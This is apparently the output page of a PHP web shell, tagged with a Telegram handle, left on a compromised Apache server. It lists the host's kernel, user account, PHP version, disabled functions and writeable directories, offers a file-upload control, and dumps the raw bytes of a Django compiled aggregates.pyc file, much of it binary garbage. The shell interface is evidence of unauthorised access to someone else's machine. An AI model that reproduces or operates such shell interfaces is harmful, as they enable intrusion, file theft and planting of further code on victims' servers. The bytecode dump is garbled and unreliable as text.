https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/db/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/db/models/aggregates.pyc
�
r�\c@s�dZddlmZd�Zdefd��YZdefd��YZdefd	��YZd
efd��YZdefd
��YZ	defd��YZ
defd��YZdefd��YZdS(s>
Classes to represent the definitions of aggregate functions.
i����(t
LOOKUP_SEPcCsEx>tt|�d�D]&}tj|d|!�|krtSqWtS(s�
    A little helper method to check if the lookup_parts contains references
    to the given aggregates set. Because the LOOKUP_SEP is contained in the
    default annotation names we must check each prefix of the lookup_parts
    for match.
    ii(trangetlenRtjointTruetFalse(tlookup_partst
aggregatesti((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pytrefs_aggregatest	AggregatecBs5eZdZd�Zd�Zee�Zd�ZRS(s'
    Default Aggregate definition.
    cKs||_||_dS(s6Instantiate a new aggregate.

         * lookup is the field on which the aggregate operates.
         * extra is a dictionary of additional data to provide for the
           aggregate definition

        Also utilizes the class variables:
         * name, the identifier for this aggregate function.
        N(tlookuptextra(tselfRR((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyt__init__s
	cCsd|j|jj�fS(Ns%s__%s(Rtnametlower(R
((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyt_default_alias#scCsDt|j|j�}||d|d||j�}||j|<dS(s=Add the aggregate to the nominated query.

        This method is used to convert the generic Aggregate definition into a
        backend-specific definition.

         * query is the backend-specific query instance to which the aggregate
           is to be added.
         * col is a column reference describing the subject field
           of the aggregate. It can be an alias, or a tuple describing
           a table and column name.
         * source is the underlying field or aggregate definition for
           the column reference. If the aggregate is not an ordinal or
           computed type, this reference is used to determine the coerced
           output type of the aggregate.
         * is_summary is a boolean that is set True if the aggregate is a
           summary value rather than an annotation.
        tsourcet
is_summaryN(tgetattrtaggregates_moduleRRR(R
tquerytaliastcolRRtklasst	aggregate((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pytadd_to_query's(t__name__t
__module__t__doc__RRtpropertyt
default_aliasR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR
s
	
	tAvgcBseZdZRS(R!(RRR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR!=stCountcBseZdZRS(R"(RRR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR"@stMaxcBseZdZRS(R#(RRR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR#CstMincBseZdZRS(R$(RRR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR$FstStdDevcBseZdZRS(R%(RRR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR%IstSumcBseZdZRS(R&(RRR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR&LstVariancecBseZdZRS(R'(RRR(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyR'OsN(
Rtdjango.db.models.constantsRR	tobjectR
R!R"R#R$R%R&R'(((s=/tmp/pip-install-XxeQeY/django/django/db/models/aggregates.pyt<module>s	+

https://t.me/AnonymousX5 - 2025